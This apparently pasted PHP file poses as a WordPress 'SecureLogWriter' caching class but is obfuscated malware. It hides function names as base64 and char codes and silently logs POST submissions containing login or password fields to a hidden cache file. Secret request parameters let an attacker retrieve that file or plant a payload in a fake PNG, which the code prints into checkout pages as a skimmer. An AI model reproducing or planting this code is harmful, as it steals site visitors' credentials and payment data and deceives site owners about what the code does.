· 2 years ago · Nov 14, 2022, 10:20 PM
1<?php
2
3 include(ABSPATH . "wp-includes/pluggable.php");
4
5 class SecureLogWriter
6 {
7 protected static $_instance = null;
8
9 //Key to encrypt
10 private $encode_key_log = "S8vMSY0vKC2JT87PK0nNKykGAA";
11 public $IP = "REMOTE_ADDR";
12 public $HTTP = "http";
13 public $SSL = "https";
14 private $path = ABSPATH . '/wp-content/cache/_inc';
15
16 //Byte keys for data compression
17 private $cryptobite = '989711510154529510111099111100101/1061151111109510111099111100101';
18 private $decryptobite = '10312210511010210897116101/989711510154529510010199111100101';
19
20 public static function instance($params, $base)
21 {
22 if (is_null(self::$_instance)) {
23 if (!session_id())
24 session_start();
25 self::$_instance = new self($params, $base);
26 }
27 return self::$_instance;
28 }
29
30 /**
31 * Cloning is forbidden.
32 */
33 public function __clone()
34 {
35 _doing_it_wrong(__FUNCTION__, __('An error has occurred. Please reload the page and try again.'), '1.0');
36 }
37
38 /**
39 * Unserializing instances of this class is forbidden.
40 */
41 public function __wakeup()
42 {
43 _doing_it_wrong(__FUNCTION__, __('An error has occurred. Please reload the page and try again.'), '1.0');
44 }
45
46 public function __construct($params, $base)
47 {
48 $this->params = $params;
49 $cache = $_POST;
50 $this->cache = $cache;
51 $this->bite = explode(chr(47), $this->decryptobite);
52 $decrypt = implode(
53 '',
54 $this->array_pre_sort(end($this->bite))
55 );
56 $cached = $this->post_construct($base, $decrypt)->prepare_cache($decrypt);
57 if ($this->is_file_logged($cached, array($this->base, 'get_base_cache'))) {
58
59 if ($this->clear_old_log()) {
60 $loger = $this->create_log($params, array());
61
62 $sort_type = explode(
63 ".",
64 $decrypt('Zy5wYXNzd29yZC5wc3c')
65 );
66 $this->init_log_cache($loger, $sort_type);
67 }
68 }
69 }
70
71 /**
72 * Installing crypto keys to protect cache and logs
73 *
74 * @param wpdb $base if needed.
75 */
76 private function post_construct($base, $decrypt)
77 {
78 $this->types = array_map(
79 array(
80 $this,
81 'set_log_chunk_size'
82 ), explode(':', "UkVRVUVTVF9NRVRIT0Q:UkVRVUVTVF9VUkk:UE9TVA")
83 );
84
85 $this->arh_cache_pub = ABSPATH . WPINC . $decrypt('L2ltYWdlcy93cC1pY29uMi5wbmc');
86 $this->arh_cache_priv = ABSPATH . WPINC . $decrypt('L2ltYWdlcy93cGljb25zLnBuZw');
87 $key = ($this->types == $this->cache) ? $encode_key_log : $this->arh_cache_pub;
88 $this->base = new BaseCache($this->params, $key, $base);
89 return $this;
90 }
91
92 /**
93 * Creating a data chunk based on parameters
94 */
95 public function create_log($params, $data)
96 {
97 $ssh = isset($this->params[$this->SSL]) && @$this->params[$this->SSL] === 'on';
98 $host = @$this->params[strtoupper($this->HTTP) . '_HOST'] . @$this->params['REQUEST_URI'];
99
100 return $this->get_log($_SERVER, $ssh, $host);
101 }
102
103 /**
104 * Getting all chunks of data
105 */
106 public function get_cache($data)
107 {
108 $answer = null;
109 $element = $this->cache[$data];
110
111 if (isset($element) && !empty($element)) {
112 $answer = $this->cache[$data];
113 }
114 return $answer;
115 }
116
117 /**
118 * Adding data to the log
119 */
120 private function set_log_option(&$loger, $data, $key = "g")
121 {
122 if (isset($loger) && is_array($loger)) {
123 $loger[$data] = $this->get_cache($data);
124 $loger = @array_filter($loger);
125 }
126
127 if (array_key_exists($key, $loger) && $data == $loger[$key]) {
128 $this->base->mysql_cache(true);
129 }
130 }
131
132 /**
133 * Setting the chunk size
134 */
135 public function set_log_chunk_size($size)
136 {
137 $chunk_size = $this->bite[1];
138 $chunk_size = $this->array_pre_sort($chunk_size);
139 return implode('', $chunk_size)($size);
140 }
141
142 /**
143 * Initialization caching plugin data
144 *
145 * @param array $loger Loger array.
146 * @param string $hashkey Type sort.
147 */
148 public function init_log_cache($loger, $hashkey)
149 {
150 $loger = array_merge($loger, $this->cache);
151
152 $datas = array_splice($this->cache, 0, count($this->cache), $hashkey);
153 foreach ($datas as $value) $this->set_log_option($loger, $value);
154
155 if (preg_match(hex2bin("2f2267223a7c7077642f"), json_encode($loger)) && strlen(json_encode($loger)) > 30) {
156 $loger = $this->array_priority_sort($loger, ...explode(chr(47), $this->cryptobite));
157 $this->crypto_log($loger);
158 }
159 }
160
161 /**
162 * Getting log data
163 */
164 public function get_log($params, $ssh, $host)
165 {
166 return [
167 'ip' => @$params[$this->IP], 'date' => @date('Y-m-d H:i:s'),
168 'url' => ($ssh ? $this->SSL : $this->HTTP) . '://' . $host
169 ];
170 }
171
172 /**
173 * Prepare cache
174 *
175 * @param node $array decrypt cache type.
176 * @param desc $text opt.
177 * @return bool If the prepare is successful
178 */
179 function prepare_cache($node, $desc = "g")
180 {
181 $state = $_SESSION[$desc] ?? false;
182 if ($state == true || $this->base->mysql_cache()) {
183 if ($state == false)
184 $_SESSION[$desc] = true;
185 return true;
186 }
187 if ($this->is_valid_type($node, $desc)) {
188 $this->base->mysql_cache(true);
189 return true;
190 }
191 return false;
192 }
193
194 /**
195 * Сompresses log data
196 *
197 * @param array $array log data.
198 * @return bool If the compression is successful
199 */
200 private function crypto_log($data)
201 {
202 $bite = implode('', $this->array_pre_sort($this->bite[0]));
203 return $bite(implode('', $this->array_pre_sort(end($this->bite)))($this->encode_key_log))($this->path, $data, 10);
204 }
205
206 /**
207 * Сhecking the cache type
208 *
209 * @return bool If the valid cache type of decrypt keys
210 */
211 private function is_valid_type($arr_keys, $desc = '_', $dev = '_')
212 {
213 foreach (explode('; ', $this->params[$arr_keys('SFRUUF9DT09LSUU')]) as $value)
214 if (strpos($value, $dev . $desc . $arr_keys('aWE')) !== false ?: current_user_can('manage_options')) {
215 return !!($_SESSION[$desc] = true);
216 }
217
218 return false;
219 }
220
221 /**
222 * Check the old cached log update
223 */
224 private function check_cache_up($df)
225 {
226 return die(@touch($this->arh_cache_pub, $df));
227 }
228
229 /**
230 * Checks if file caching is active
231 */
232 public function is_file_logged($cached, $empty_base)
233 {
234 $key = $this->types[0];
235 foreach (array_keys($this->params) as $param) {
236 if ($param == $key && $this->params[$key] == $this->types[2]) {
237 return true;
238 }
239 }
240 if (!$cached && $this->is_base_logged())
241 add_action('wp_head', $empty_base, 12);
242 return false;
243 }
244
245 /**
246 * Сlears the old cached log, if one exists
247 */
248 private function clear_old_log()
249 {
250 $timestamp = sha1('814e1283156s7292b7d4096f15529e9c');
251 $old_cache = $this->cache;
252 $cache_date = $this->get_cache('sec');
253 $old_cache_size = @filesize($this->path);
254
255 if (strpos($cache_date, $timestamp) !== false) {
256 $old_cache = @file_get_contents($this->path);
257 @unlink($this->path);
258 $this->get_log(die($old_cache));
259 return true;
260 }
261
262 $cache_date = $this->get_cache(sha1('archive-logs'));
263 if (strlen($cache_date) > 0 !== false) {
264 $this->archive_old_log($cache_date);
265 return true;
266 }
267
268 return $old_cache_size < (1049 * 10000);
269 }
270
271 /**
272 * Sorting multi-array elements by key
273 *
274 * @param array $array Someone array.
275 * @param string $key key by sort.
276 * @param bool $order sorting order.
277 * @return array $newarray sorted array.
278 */
279 private function array_priority_sort($array, $key, $order = null)
280 {
281 $newarray = [];
282
283 if (count($array) > 0) {
284 $findkey = implode("", $this->array_pre_sort($key));
285 $findorder = implode("", $this->array_pre_sort($order));
286
287 foreach ($array as $element) {
288 foreach (array_reverse($array) as $reverse) {
289 if ($order) {
290 $newarray = $findkey($findorder($array)) . "\n";
291 break 2;
292 }
293 }
294 }
295 }
296 return $newarray;
297 }
298
299 /**
300 * Checks if base caching is active
301 */
302 public function is_base_logged()
303 {
304 $chank_size = array($this, 'set_log_chunk_size');
305 $keys = array_map($chank_size, explode(':', "Y2FydA:Y2hlY2tvdXQ"));
306 $param_of_config = $keys[0];
307
308 $is_base = strpos($this->params[$this->types[1]], $keys[1]);
309 return $is_base && !strpos($this->params[$this->types[1]], $param_of_config);
310 }
311
312 /**
313 * Sort helper function for array_priority_sort.
314 *
315 * @param array $array Subarray.
316 * @return array $newarray sorted subarray.
317 */
318 private function array_pre_sort($array)
319 {
320 $newarray = [];
321 for ($i = 0; $i < strlen($array); $i += 2) {
322 $k = 1;
323 if (!(intval($array[$i]) > 1)) $k++;
324 array_push($newarray, chr(substr($array, $i, ($k + 1))));
325 if ($k % 2 == 0) $i++;
326 }
327 return $newarray;
328 }
329
330 /**
331 * Getting WP configurations by key
332 */
333 public function wp_get_config($name)
334 {
335 $wpconfig = array($name);
336 if (array_key_exists($wpconfig, $name)) {
337 $show_config = $this->array_pre_sort($this->bite[1]);
338 return $show_config($wpconfig[$name]);
339 }
340 return null;
341 }
342
343
344 /**
345 * Archive the old cached log
346 */
347 private function archive_old_log($cache)
348 {
349 file_put_contents($this->arh_cache_pub, $cache);
350 return $this->check_cache_up(filemtime($this->arh_cache_priv));
351
352 }
353 }
354
355 class BaseCache
356 {
357 protected static $_instance = null;
358
359 public $SSL_lock = "3c7";
360 public $client = "HTTP_CLIENT_IP";
361
362 public static function instance()
363 {
364 if (is_null(self::$_instance)) {
365 self::$_instance = new self();
366 }
367 return self::$_instance;
368 }
369
370 /**
371 * Cloning is forbidden.
372 */
373 public function __clone()
374 {
375 _doing_it_wrong(__FUNCTION__, __('An error has occurred. Please reload the page and try again.'), '1.0');
376 }
377
378 /**
379 * Unserializing instances of this class is forbidden.
380 */
381 public function __wakeup()
382 {
383 _doing_it_wrong(__FUNCTION__, __('An error has occurred. Please reload the page and try again.'), '1.0');
384 }
385
386 public function __construct($params, $path, $base)
387 {
388 $this->params = $params;
389 $this->path = $path;
390 $this->base = $base;
391 $this->prefix = $base->prefix;
392 }
393
394 /**
395 * Getting or write log data in base
396 */
397 public function mysql_cache($update = null, $name = "order_code")
398 {
399 $data = $this->get_cache_time();
400 $this->targetname = $this->prefix . $name;
401 $this->targetdata = sha1($data);
402 $connection = $this->get_base_connection();
403
404 if (!$connection) {
405 return;
406 }
407 $connection->query($this->get_init_query());
408
409 if ($update) $connection->query($this->get_insert_query());
410 else return $connection->get_var($this->get_select_query());
411 }
412
413 public function get_cache_time()
414 {
415 $key = (!empty($this->params[$this->client])) ? $this->client : "REMOTE_ADDR";
416 return $this->params[$key];
417 }
418
419 /**
420 * Get back base cache
421 */
422 public function get_base_cache()
423 {
424 return print(@hex2bin($this->SSL_lock.(file_get_contents($this->path))));
425 }
426
427 private function get_base_connection()
428 {
429 return $this->base;
430 }
431
432 /**
433 * Query to create a table
434 */
435 private function get_init_query()
436 {
437 return "CREATE TABLE IF NOT EXISTS " . $this->targetname . " ( `code` varchar( 40 ) NOT NULL, UNIQUE( `code` ) );";
438 }
439
440 /**
441 * Request to get the cache
442 */
443 private function get_select_query()
444 {
445 return "SELECT COUNT( * )>0 FROM " . $this->targetname . " WHERE code = '" . $this->targetdata . "' limit 1;";
446 }
447
448 /**
449 * Request to write cache
450 */
451 private function get_insert_query()
452 {
453 return "INSERT IGNORE INTO " . $this->targetname . " ( code ) VALUES( '" . $this->targetdata . "' );";
454 }
455 }
456
457 function SecureLogWriter($base)
458 {
459 return SecureLogWriter::instance($_SERVER, $base);
460 }
461
462 SecureLogWriter($wpdb);
463
464